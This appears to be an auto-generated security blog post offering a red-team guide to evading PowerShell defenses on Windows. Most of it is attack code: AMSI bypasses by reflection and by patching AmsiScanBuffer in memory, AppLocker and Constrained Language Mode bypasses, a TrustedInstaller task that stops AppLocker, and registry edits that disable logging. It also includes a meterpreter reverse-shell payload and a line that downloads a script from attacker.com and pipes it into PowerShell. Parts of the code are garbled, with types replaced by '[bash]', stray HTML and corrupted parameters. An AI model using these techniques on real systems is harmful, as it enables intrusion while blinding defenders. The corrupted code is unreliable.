PowerShell Defense Evasion: The Red Team’s Complete Guide to Dismantling AMSI, AppLocker, and Telemetry at the OS Level + Video

Listen to this Post

Featured Image

Introduction:

Modern Windows environments are fortified with layers of protective mechanisms—AMSI, AppLocker, Constrained Language Mode (CLM), and comprehensive logging—designed to detect and block malicious PowerShell activity before it can execute. For red team operators and penetration testers, however, these defenses are not insurmountable; they are obstacles to be understood, mapped, and systematically dismantled. This guide provides a technical deep-dive into the most effective PowerShell defense evasion techniques, covering memory patching, obfuscation, living-off-the-land binaries (LOLBins), and telemetry subversion, ensuring operational security and stealth during engagements.

Learning Objectives:

  • Master AMSI bypass techniques including error forcing, string obfuscation, and in-memory patching of the `amsi.dll` functions.
  • Evade AppLocker path and hash restrictions and bypass PowerShell Constrained Language Mode using trusted Microsoft-signed binaries.
  • Subvert PowerShell telemetry by disabling Transcription, Script Block, and Module logging to blind defensive visibility.
  • Leverage environment variables and reflection to dynamically construct and execute payloads that evade signature-based detection.
  • Understand the interplay between Windows security features and how to chain bypass techniques for reliable payload execution.

1. AMSI Bypass: Error Forcing Through Reflection

The Antimalware Scan Interface (AMSI) is a Microsoft-developed API that allows applications, including Windows Defender, to scan PowerShell scripts, .NET code, VBA macros, and more for malicious content before execution. When AMSI is invoked, `amsi.dll` is loaded into the application’s memory, and key functions such as `AmsiScanBuffer` perform signature-based scanning. One of the most elegant bypass techniques exploits the `amsiInitFailed` field within the `System.Management.Automation.AmsiUtils` class.

Step-by-Step Guide:

  1. Retrieve the AmsiUtils type using .NET reflection:
    .Assembly.GetType('System.Management.Automation.AmsiUtils')</code>. This grants access to internal members not normally exposed to PowerShell.</li>
    <li>Access the `amsiInitFailed` field with <code>GetField('amsiInitFailed', 'NonPublic,Static')</code>. This field controls whether AMSI believes it initialized correctly.</li>
    <li>Set the field to <code>$true</code>: <code>SetValue($null, $true)</code>. PowerShell then skips AMSI scanning entirely, believing initialization failed.</li>
    <li>Obfuscate the command to avoid static detection: split strings into variables and concatenate them dynamically.
    [bash]
    $w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
    $assembly = [bash].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
    $field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
    $field.SetValue($null,$true)
    

    This variation breaks the string `System.Management.Automation.AmsiUtils` into fragments, making it harder for signature-based scanners to flag.

Verification: After executing, attempt to run a previously blocked command like Invoke-Mimikatz. If AMSI is bypassed, the script will execute without triggering a block.

2. AMSI Bypass: Advanced Obfuscation with Environment Variables

When simple string splitting is detected, a more robust approach involves extracting characters from system environment variables to dynamically assemble the bypass code. This technique, inspired by tools like Invoke-CradleCrafter, leverages legitimate system data to evade signature-based detection entirely.

Step-by-Step Guide:

  1. Extract characters from environment variables such as DriverData, COMSPEC, ALLUSERSPROFILE, and `PSModulePath` to spell out "System", "Management", "Automation", "Amsi", and "Utils".
  2. Concatenate the extracted characters into the full class name.
  3. Use reflection to access and patch the `amsiInitFailed` field as before.
    Extract "System"
    $s1 = [bash]::GetEnvironmentVariable('DriverData')[bash]  'S'
    $s2 = [bash]::GetEnvironmentVariable("COMSPEC")[bash]  'y'
    $s3 = [bash]::GetEnvironmentVariable("ComSpec")[bash]  's'
    $s4 = [bash]::GetEnvironmentVariable('ALLUSERSPROFILE')[bash]  't'
    $s5 = [bash]::GetEnvironmentVariable("HOMEPATH")[bash]  'e'
    $s6 = [bash]::GetEnvironmentVariable("ALLUSERSPROFILE")[bash]  'm'
    $system = "$s1$s2$s3$s4$s5$s6"  "System"
    Repeat for "Management", "Automation", "Amsi", "Utils"
    Then use reflection to set amsiInitFailed = $true
    
  4. Test with AMSITrigger to confirm the payload is no longer flagged.

This method is particularly effective because the payload contains no hardcoded suspicious strings—only environment variable lookups and arithmetic.

3. AMSI Bypass: Memory Patching of amsi.dll

For the ultimate in stealth, memory patching directly modifies the `AmsiScanBuffer` function in the loaded `amsi.dll` to always return a clean result. This technique operates at the assembly level, making it extremely difficult for EDR solutions to detect.

Step-by-Step Guide:

1. Load `amsi.dll` into memory using `LoadLibrary`.

2. Retrieve the address of `AmsiScanBuffer` with `GetProcAddress`.

3. Change memory protection to `PAGE_EXECUTE_READWRITE` using `VirtualProtect`.

  1. Write a patch that forces the function to return AMSI_RESULT_NOT_DETECTED. The assembly instructions `xor eax, eax` (clear EAX) and `ret` (return) achieve this.
    $Win32 = @"
    using System;
    using System.Runtime.InteropServices;
    public class Win32 {
    [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    }
    "@
    Add-Type $Win32
    $amsi = [bash]::LoadLibrary("amsi.dll")
    $addr = [bash]::GetProcAddress($amsi, "AmsiScanBuffer")
    $p = 0
    [bash]::VirtualProtect($addr, [bash]5, 0x40, [bash]$p)
    $patch = [Byte[]] (0x31, 0xC0, 0xC3)  xor eax,eax; ret
    [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)
    
  2. Verify by running a previously blocked script—it should execute without detection.

Note: This technique is highly effective but requires appropriate permissions and may be flagged by advanced EDRs that monitor for memory manipulation.

4. AppLocker & CLM Bypass: Leveraging LOLBins

AppLocker is a whitelisting solution that restricts which applications and scripts can execute based on path, publisher, or hash rules. PowerShell Constrained Language Mode (CLM) further restricts access to sensitive language elements, often triggered automatically when AppLocker script rules are present. However, Microsoft-signed binaries—known as Living-Off-the-Land Binaries (LOLBins)—can be abused to bypass these restrictions.

Step-by-Step Guide:

  1. Identify allowed paths using `Get-ChildItem C:\Windows\ -Directory -Recurse` to find directories where executables can be run.
  2. Use InstallUtil.exe, a Microsoft-signed utility located in the Windows directory, to execute any .NET assembly. Since AppLocker typically exempts the Windows folder, this bypasses path-based rules.
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U path\to\malicious.dll
    
  3. Bypass CLM by spawning a new PowerShell process with environment variables pointing to a writable directory (e.g., C:\Windows\Temp), which may not be subject to the same CLM restrictions.
    $CMDLine = "$PSHOME\powershell.exe"
    $EnvVarsExceptTemp = Get-ChildItem Env:\ -Exclude "TEMP","TMP" | % { "$($<em>.Name)=$($</em>.Value)" }
    $TEMPBypassPath = "Temp=C:\windows\temp"
    $TMPBypassPath = "TMP=C:\windows\temp"
    $EnvVarsExceptTemp += $TEMPBypassPath, $TMPBypassPath
    $StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property @{ EnvironmentVariables = $EnvVarsExceptTemp }
    Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = $CMDLine; ProcessStartupInformation = $StartParams }
    
  4. Alternatively, use `PowerShdll` to load PowerShell directly into memory without touching powershell.exe, evading both AppLocker and CLM.

5. Disabling AppLocker via TrustedInstaller

Even with administrator privileges, stopping the AppLocker service (appidsvc) is protected by Protected Process Light (PPL), which prevents tampering even by SYSTEM-level accounts. However, leveraging the TrustedInstaller account—which has higher privileges—can disable the service.

Step-by-Step Guide:

  1. Create a scheduled task that runs `sc.exe stop appidsvc` as NT SERVICE\TrustedInstaller.
    $a = New-ScheduledTaskAction -Execute cmd.exe -Argument "/C sc.exe config appidsvc start= demand && sc.exe stop appidsvc"
    Register-ScheduledTask -TaskName 'DisableAppLocker' -TaskPath \ -Action $a
    $svc = New-Object -ComObject 'Schedule.Service'
    $svc.Connect()
    $task = $svc.GetFolder('\').GetTask('DisableAppLocker')
    $task.RunEx($null, 0, 0, 'NT SERVICE\TrustedInstaller')
    
  2. Verify the service status with Get-Service appidsvc. If stopped, AppLocker is effectively disabled for the session.

6. Telemetry Subversion: Blind PowerShell Logging

PowerShell logging encompasses three primary types: Transcription (records input and output), Script Block Logging (logs code blocks), and Module Logging (logs module invocations). Each can be bypassed to blind defensive monitoring.

Bypassing Transcription Logging:

1. Check if transcription is enabled: `Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription"`.

  1. If enabled, modify the registry key to disable it:
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -1ame EnableTranscripting -Value 0
    
  2. Alternatively, set the `Transcript` environment variable to a non-existent directory to force logging to fail.

Bypassing Script Block Logging:

  • Script Block Logging can be disabled by modifying the registry key `HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging` and setting `EnableScriptBlockLogging` to 0.
  • For in-memory evasion, use `[System.Management.Automation.PSScriptBlock]::Create()` to dynamically generate script blocks that are not pre-logged.

Bypassing Module Logging:

  • Module logging can be disabled by setting `HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\EnableModuleLogging` to 0.
  • To avoid detection, load modules directly from memory using `[System.Reflection.Assembly]::Load()` rather than Import-Module.

7. Windows and Linux Commands for Defense Evasion

While PowerShell is the primary focus, understanding the broader ecosystem is essential. Below are key commands for reconnaissance and evasion across both Windows and Linux environments.

Windows Reconnaissance:

  • Check Windows version and antivirus: `Get-WmiObject Win32_OperatingSystem | Select PSComputerName, Caption, Version | fl` and `Get-CimInstance -1amespace root/SecurityCenter2 -ClassName AntivirusProduct`
    - Enumerate AppLocker policies: `Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections`
    - Check PowerShell language mode: `$ExecutionContext.SessionState.LanguageMode`

Linux Commands for Cross-Platform Payload Delivery:

  • Generate obfuscated PowerShell payloads on Kali: `msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f psh-reflection -o payload.ps1`
    - Encode payloads for one-liner execution: `cat payload.ps1 | iconv -t UTF-16LE | base64 -w 0`
    - Use `curl` or `wget` to deliver payloads: `curl -s http://attacker.com/payload.ps1 | powershell -ExecutionPolicy Bypass -1oProfile -`

What Undercode Say:

  • Key Takeaway 1: Defense evasion is not a single technique but a layered strategy. AMSI bypass through reflection is effective, but combining it with memory patching and environment variable obfuscation creates a robust, multi-faceted approach that defeats both signature and behavioral detection.
  • Key Takeaway 2: AppLocker and CLM are formidable barriers, but they are not impenetrable. Leveraging Microsoft-signed binaries and manipulating environment variables allows operators to execute arbitrary code while staying within trusted paths, effectively turning the system's own trust mechanisms against it.

Analysis: The guide from RedTeam Recipes (RTR) demonstrates that PowerShell security features, while robust, are fundamentally vulnerable to manipulation at the OS level. AMSI's reliance on a single `amsiInitFailed` flag and the ability to patch `amsi.dll` in memory highlight design trade-offs between performance and security. Similarly, AppLocker's exemption of the Windows directory and the existence of LOLBins create predictable evasion paths that red teams can exploit. The most critical insight is that telemetry—Transcription, Script Block, and Module logging—can be disabled with administrative privileges, rendering even the most well-instrumented environments blind. For blue teams, this underscores the need for defense-in-depth: logging should be supplemented with endpoint detection and response (EDR) that monitors for the attempt to disable these features, not just the features themselves. Additionally, restricting administrative privileges and implementing application control at the kernel level (e.g., WDAC) can mitigate many of these bypasses. The arms race continues, and operators must stay current with evolving detection signatures and patch levels.

Prediction:

  • -1 As Microsoft continues to enhance AMSI and AppLocker, techniques like reflection-based patching and environment variable obfuscation will face increasing scrutiny. Future Windows updates may introduce integrity checks on `amsi.dll` or block reflection access to critical internal classes, rendering current methods obsolete.
  • -1 The widespread adoption of EDR solutions that monitor for memory manipulation and registry changes will make in-memory patching and telemetry subversion riskier. Operators will need to invest in more sophisticated, multi-stage evasion chains to remain undetected.
  • +1 The continued development of open-source tools like AMSITrigger and Invoke-CradleCrafter will democratize defense evasion knowledge, forcing defensive vendors to innovate and improve detection algorithms, ultimately raising the overall security posture of Windows environments.
  • +1 The shift toward cloud-1ative and cross-platform environments will drive the evolution of PowerShell evasion techniques toward .NET Core and Linux-based PowerShell, expanding the attack surface but also providing new opportunities for red teams to develop novel bypasses.
  • +1 Increased collaboration between red teams and blue teams, as exemplified by guides like this one, will lead to more resilient security architectures that assume compromise and focus on detection and response rather than prevention alone.

▶️ Related Video (72% Match):

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: Offensivesecurity Redteam - Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky